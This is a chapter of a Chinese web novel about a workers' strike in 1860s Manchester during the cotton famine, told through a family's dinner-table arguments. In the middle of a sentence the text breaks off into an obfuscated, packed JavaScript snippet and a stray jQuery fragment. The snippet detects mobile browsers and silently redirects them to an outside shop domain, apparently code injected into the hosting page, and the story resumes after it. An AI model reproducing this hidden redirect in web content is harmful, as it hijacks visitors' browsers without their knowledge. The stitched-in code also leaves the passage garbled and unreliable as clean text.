44. 罢工
作品:《再看我就报警了》 “我比较欣赏性格更温和的先生。”当西格莉德问起时,贝拉也没什么不好意思地说。
“你呢?黛芙妮。”西格莉德问。
“渊博、善良。”黛芙妮较为笼统地回答。
“桑席?”贝拉问桑席。
“我——大概是体贴的。”桑席的脸白得跟墙一样,所有人都被她吓到了。
西格莉德张嘴就要喊达拉去叫医生被桑席制止了,推说自己是经期的缘故。
虎头蛇尾的聚会也因为她的状态被迫中止,回去的路上黛芙妮说:“我怎么觉得桑席是因为西格莉德的话题才这样的。”
“可在西格莉德来之前她的状态就不对了,你怎么就下定论了。”贝拉问。
“大概是直觉?”说这话的时候黛芙妮自己都笑了。
自从克洛伊提过‘女人的直觉’后她时不时地也会被影响:“好吧,太不严谨了。没有确切的证据我们不能随意定论,所以就当桑席真的身体不适吧。”
贝拉闷笑出声。
如果说一开始曼彻斯特给黛芙妮的印象不太好后来有了改善,那么八月的开始就让这种好感又开始急剧下滑。
简直是不可思议的。
黛芙妮站在窗户边愣神,狄默奇太太捂着嘴双眼满是震惊。
一支庞大的队伍刚刚经过这里,他们举牌挥杆,声嘶力竭地大喊,从街头走过街尾,散发的愤怒、绝望试图渗透周边。
当他们离开时,几张散落在地上的零碎报纸被一股风吹起,有一张贴在了一百零八号的窗户上。
卡丽有幸目睹人生中第一次如此大规模的罢工运动,对于她那经历丰富的人生来说也是一大新奇。
但她也是反应最快的,推开窗户一把扯下那张破纸。
“工资不得少一文,工时不得加一分!”卡丽读出声。
这句话的背后是一张工厂主引进最新器械的照片,口号被红色颜料大大地涂在人脸和机器上。
又一阵风吹来掀起地上遗留的纸条,黛芙妮伸手拽住一张,一眼看见的同样是最上面的红色颜料。
“为自由而战,为人权而战。”她念出来。
风越来越大,迷住了黛芙妮的眼睛,卡丽着急忙慌地将窗户关上。
“天呐,我简直不相信刚刚的场景。”狄默奇太太回过神在沙发上坐下,她脸上还残留了不少惊恐,“几百人?”
“我看到好些人的目光,简直比屠户杀牲畜时还可怕!”卡丽说,“不过更多的还是那些孩子,瘦弱得可怜。”
“说到底不都是因为资本家的贪婪。”黛芙妮也在沙发上坐下,听她的话显然是被刚刚的气氛感染了,“如果他们不定下那些剥削人的条例,难道工人会自己找事吗?”
“十四个小时的工时确实太长了。”狄默奇太太说。
“但是太太、小姐,谁又不是这么过来的?更何况现在倒闭的工厂那么多,他们这么一闹说不定那些工厂主正好借此把多余的裁掉。”卡丽忧心地说。
到了晚上,狄默奇先生表情严肃地卷着一张报纸回来。
“听说下午那些工人经过了这里,你们没被吓到吧?”他问。
“我们可不是宝宝,先生。”卡丽说,“我十岁的时候也经过一次工人抗议只不过没有那么多人,声势没有那么浩大。毕竟镇上能有多少人呢。”
迈尔斯也回来了,几人转至餐厅。
“迈尔斯,你回来的时候有没有遇见工人队伍?”狄默奇太太问。
“避无可避但是我不害怕。”迈尔斯无所谓地说,“我只是——很饿。”
他喝了几口奶油开胃汤,舒服地叹了一声:“经理显然知道些什么,昨晚就要求我们在制服里塞点棉花穿得厚实点,但是要我说这不可能持续几天的,他们当军队不存在吗?”
“当你一无所有的时候你会害怕军队吗?”狄默奇先生问。
迈斯尔思考了一下,还是不屑地耸肩:“也许吧,但是我不会有那一天。”
“爸爸,让我看看你带回来的报纸,上面说什么了?”黛芙妮伸手。
“明天要出版的内容,关于这次罢工的起因和工人的要求。”狄默奇先生把报纸给她,“工人要求政府干预棉花供应或提供失业保障,他们被激起了沉睡已久的血性。”
“但是让政府干预棉花供应是为什么?”狄默奇太太问。
“美国南方战败导致国内出现棉荒,工厂大规模倒闭工人失业,他们要求政府加速从印度、埃及等殖民地扩大棉花进口从而稳定经济。除此之外也要求政府为他们提供保障,以防再次出现现在的情况。”狄默奇先生说。
“但是这些事不是几天就能解决的。”黛芙妮放下报纸说,言下之意是长远的要求可管不了现在的状况。
“有希望人就有前行的动力。”狄默奇先生说。
“那岂不是说他们还真要抗议好几天?”迈尔斯从自己的思索中惊醒,不可置信,“该死!”
黛芙妮皱眉,狄默奇夫妇也不大舒服地看了他一眼。
不过迈尔斯也算说对了,接下来的半个月里工人们每天都会在曼彻斯特几条主街游行,偶尔也会路过牛津路抵达运河支流,浩浩荡荡的呐喊和汹涌激荡的河流声足以把这场罢工运动喊到曼彻斯特之外。
阿德勒舅舅一家寄来信说伦敦也掀起了罢工浪潮,大概率是听到了独木难支的曼彻斯特工人的呼喊。
可惜大部分工厂主们纷纷关闭大门、装聋作哑摆出一副事不关己或不放在心上的样子来逃避。
不过这部分人也不是毫无回应,他们之间就推出过一位代表公开宣告:“拒绝!”
那些冷处理的大工厂主有庞大的资金可以耗得起,而耗不起的小工厂主却不能如此硬气。
不过他们同样和工人之间的团结一样,牢牢站在资本的一方。
在新的一期报纸上,有个工厂主说:“我们将拒绝减产保就业,也会在这个特殊时期考虑聘用德国、比利时或爱尔兰人上工。”
在工人更加暴躁甚至打上门的时候,又被迫缓和了说法:“根据经济学家纳索·威廉·西尼尔的核算理论,缩短工时如每天减少三小时,将造成一点四亿级卢布损失,将导致工人工资下降、生活水平恶化的情况。”
听起来是在为工人考虑,一些头脑不清楚的也就真的相信了,反抗的声音暂时平缓下来。
但是能掀起这么大火
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759100|184350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
焰的罢工行为是不可能被几句话就扑灭的,只是恰好工人也需要休息。
如今双方都进入了短暂的冷却期。
“工人们马上又会亢奋起来,他们可没那么多时间和精力与资本冷战。”狄默奇先生说。
“可怜。”狄默奇太太叹息。
这个月教堂并没有组织任何的慈善活动,不仅是因为那些曾经慷慨的捐赠者更偏向自己的阶级,也因为另外能拿点东西出来的人在这个时候几乎不希望自己的名字被传出去。
狄默奇一家没有这样的想法,但他们能提供的帮助在大海面前如沙砾一样渺小,奥尔斯顿牧师说不公平的给予就是引起纷争的导火线,不论是罢工还是慈善。
这样一来黛芙妮和狄默奇太太不得不打消了某些念头。
“最近天空亮起来了,早晨没有那么昏暗了。”卡丽整理桌垫说。
“我不喜欢那些烟雾,但大概工人们是渴望的。”黛芙妮看着她的动作说。
主日这天狄默奇先生和迈尔斯都休息,这会儿他们也坐在沙发上。
“黛菲,你说如果我做个关于工人的访谈怎么样?”狄默奇先生靠在沙发上,一手摸索下巴,沉思道。
“一个不错的想法,我们可以把他们真正的需求告诉人们,也许可以帮助这场罢工快点结束。”黛芙妮说着兴奋起来。
“他们不就是要涨工资但是工厂主明确了这点,不可能。”迈尔斯烦躁地说。
“这段时间工厂主的损失不比工人少,他们也不希望再僵持下去,解决这场罢工是双方最渴望的。”黛芙妮说,“再说了条件是可以谈的。”
“如果他们足够知趣就不会见天的打扰其他正常人的工作。”迈尔斯说,“歌剧院最近门可罗雀,他们需要钱来生活难道我就不需要了吗?谁来替我抗议!”
“你怎么能这么想?”黛芙妮生气又震惊地看他,“每个人都可以为自己争取权益,你自己不做也就算了怎么还阻止别人去做?”
“因为他们严重妨碍了我的生活,他们不满现在的生活但我很满意!他们的生活是生活而我的生活也是生活!”迈尔斯说,“你就看我有没有妨碍他们生活过?”
黛芙妮被他的想法气到说不出话:“可你又怎么确定你现在满意的生活不是从前他人打下的基础?如果所有人都那么自私——”
“拜托,黛菲,我是你的家人,你确定要这么和我说话?”迈尔斯打断她。
“所以我是你表妹,你为什么不能让让我!”黛芙妮不服气地说。
两人瞪着眼睛谁也不服谁。
狄默奇先生轻咳:“一个人的成就是不可能超过他的认知范围的,你们知道我什么意思吗?”
迈尔斯认为狄默奇先生赞同他的想法,工人是不可能成功的。
黛芙妮却知道这话在说迈尔斯,瞧瞧他还以为自己得了支持的样子,她突然笑了一声,觉得自己之前的口舌完全白费了。
罢工还在继续,歌剧院被迫停业因为那些顾客害怕半路被人截了去,这下迈尔斯更是三句不离工人耽误他工作的话。
黛芙妮心里对他烦得很,就连一向对他十分怜爱的卡丽和狄默奇太太都受不了了。

